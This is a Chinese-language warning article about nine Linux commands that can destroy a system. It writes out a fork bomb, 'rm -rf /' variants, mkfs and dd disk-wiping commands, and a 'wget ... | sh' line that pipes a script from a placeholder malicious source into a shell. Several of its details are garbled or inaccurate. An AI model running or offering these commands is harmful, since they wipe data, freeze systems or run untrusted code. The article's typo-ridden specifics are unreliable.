9個必須時刻警惕的Linux命令&程式碼
Linux shell/terminal命令非常強大,即使一個簡單的命令就可能導致資料夾、檔案或者路徑資料夾等被刪除。
在一些情況下,Linux甚至不會詢問你而直接執行命令,導致你丟失各種資料資訊。
一般來說在Web上推薦新的Linux使用者執行這些命令,當然,也有人哪些寫過這程式碼的人不這麼想,因為這玩意你一寫下去就不是玩笑了。
這裡我收集了一些對系統有危害的Linux程式碼,幫助你避免他們。請記住:這些程式碼非常危險,甚至可以經過修改,變得更加有危害性。
還有一些事情需要注意:一些命令只在Ubuntu中有sudo字首時是有危害的。其他發行版本的Linux,則是在作為根目錄命令時會有危害。
1. Linux Fork Bomb Command
:(){ :|: & };: 以Fork Bomb聞名,是一個拒絕服務攻擊 的Linux 系統。:(){ :|: & };: 是一個bash函式。只要被執行,他會不斷重複,直到系統被凍結。
你只能重啟系統解決這個問題。所以當你在Linux介面執行這個命令時一定要注意。
2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一個危險的命令。Dev/null 或者 null device 是一個刪除所有寫在這個裝置檔案上資料的裝置檔案,但是,該操作提示卻是寫入操作執行成功。這就是我們常說的bit bucked 或者 black hole。
3. Rm -Rf Command
rm -rf命令在Linux系統中可以快速刪除資料夾及其內容。如果,你不知道如何正確使用它,你就只有哭了。
列下m-rf 命令最常見的組合和選擇:
- rm command :刪除Linux系統的檔案
- rm -f command:不需提示,刪除檔案中的只讀檔案
- rm -r command 迴圈刪除資料夾的內容
- rm -d command :刪除空目錄,如果非空目錄則不會執行該操作
- rm -rf/ command:強制刪除根目錄中的所有內容和子資料夾(包括防寫檔案)命令。
- rm -rf* command :強制刪除當前目錄中的所有內容(當前工作目錄)和字資料夾
- rm -rf. command:強制刪除當前資料夾目錄/子目錄中的所有內容 。同rm -r.[^.]*
The rm -r.[^.]* command :刪除檔案及資料夾,帶有刪除提示
4. Mkfs Command
如果你不知mkfs的作用,那麼它也是一個危險的命令,mkfs之後寫的任何命令都將會被一個空白的linux檔案系統格式化、替代。
下面列舉出需要管理員許可權,格式化硬碟的命令:
- mkfs
- mkfs.ext3
- mkfs.bfs
- mkfs.ext2
- mkfs.minix
- mkfs.msdos mkfs.reiserfs
- mkfs.vfat
mkfs.cramfs也可以和上面的程式碼做同樣的事情,不過不需要管理源許可權。
5. Tar Bomb
tar命令用於將多個檔案以.tar格式放入一個檔案中(存檔檔案)。Tape Archive (Tar) bomb可以由他建立。
當為壓縮時,就是這個存檔檔案生成數以萬計的相似名稱檔案出現在當前目錄中而不是新目錄。
當收到tar檔案,定期建立一個新的保護目錄,然後在解壓前將接受的tar檔案放到這個目錄中,你可以避免成為tar bomb的受害者。
6. Dd Command
Dd命令用於複製&改變硬碟分割槽。如果,你用錯地方了,那麼也很危險。
下面列舉dd命令:
- dd if=/dev/hda of=/dev/hdb
- dd if=/dev/hda of=/dev/sdb
- dd if=something of=/dev/hda
- dd if=something of=/dev/sda
下面這個命令會將整個主硬碟清零:dd if=/dev/zero of=/dev/had
7. Shell Script Code
有時候,你可能會被人坑,給你一個shell指令碼檔案,讓你去下載並執行它。該指令碼可能會包含一些惡意的或危險的程式碼。命令形式可能會是這樣:wget http://some_malicious_source -O- | sh。 wget將會在sh狹隘指令碼時下載指令碼。
8. Malicious Source Code
也許有人會給你原始碼讓你編譯他。程式碼可能是正常程式碼,不過,有一些惡意程式碼偽裝在大型原始碼中,如果是這樣,你的系統就中槍了。如何避免?僅接受並編譯可信賴來源的原始碼。
9. Decompression Bomb
你已經收到一個壓縮檔案,你被要求提取這個看起來很小的檔案,可能小到KB。事實上,該小尺寸的壓縮檔案包含高度壓縮資料。
只要檔案解壓,上百GB資料會被提取,這時候,過大的資料填滿硬碟導致當機,機率就很大了。如何避免?還是那句老話,別手賤,什麼檔案都去接收,請接收可信任來原始檔。
相關文章
- 9 個使用前必須再三小心的 Linux 命令Linux
- 9個使用前必須再三小心的 Linux 命令Linux
- 必須掌握的10個Linux命令!Linux
- 29 個你必須知道的 Linux 命令Linux
- Java 程式設計師必須掌握的 Linux 命令Java程式設計師Linux
- 【Linux常用命令①】程式設計師必須掌握的Linux命令Linux程式設計師
- 學習Linux必須掌握的命令!Linux
- Linux 中必須要了解的命令操作Linux
- 必須要理解幾個linux命令(摘至網路)Linux
- 10 個你必須掌握的超酷 VI 命令技巧
- 9個必須掌握的Javascript處理陣列的方法JavaScript陣列
- Linux下必須知道的網路命令都有哪些?Linux
- 學習Linux必須掌握的命令!經驗分享Linux
- shell程式設計必須要掌握的命令-xargs程式設計
- 每個Java程式設計師必須知道的5個JVM命令列標誌Java程式設計師JVM命令列
- 10個超級有用、必須收藏的PHP程式碼樣例PHP
- 一個程式猿必須會玩的遊戲遊戲
- Linux必須掌握的shell指令碼基礎Linux指令碼
- Linux必學的60個命令Linux
- 程式設計師必須知道的幾個Git程式碼託管平臺程式設計師Git
- 程式猿的心酸時刻
- 5個須警惕的資料庫設計錯誤資料庫
- 寫專案程式碼之前必須要做的事
- C/C++ Linux 程式設計師必須瞭解的 10 個工具C++Linux程式設計師
- 面試前必須知道的MySQL命令【explain】面試MySqlAI
- git 必須要熟練掌握的命令Git
- 每個程式設計師1小時內必須解決的5個程式設計問題程式設計師
- Linux命令技巧之30個必會的命令技巧Linux
- 運維人員必須要了解熟知的Linux命令彙總運維Linux
- 聊聊程式設計師面試時,那些必須注意的事情程式設計師面試
- 15個IT程式設計師必須思考的問題程式設計師
- 機器學習實際應用中必須考慮到的9個問題機器學習
- Linux必學的60個命令(6)-其他Linux
- 每天一個 Linux 命令(9):touch 命令Linux
- 每天一個linux命令(9):touch 命令Linux
- 網管和駭客都必須知道的命令
- Linux的幾個新手必備的命令(一)Linux
- 程式設計師:難做但又必須做的 9 件頭疼事程式設計師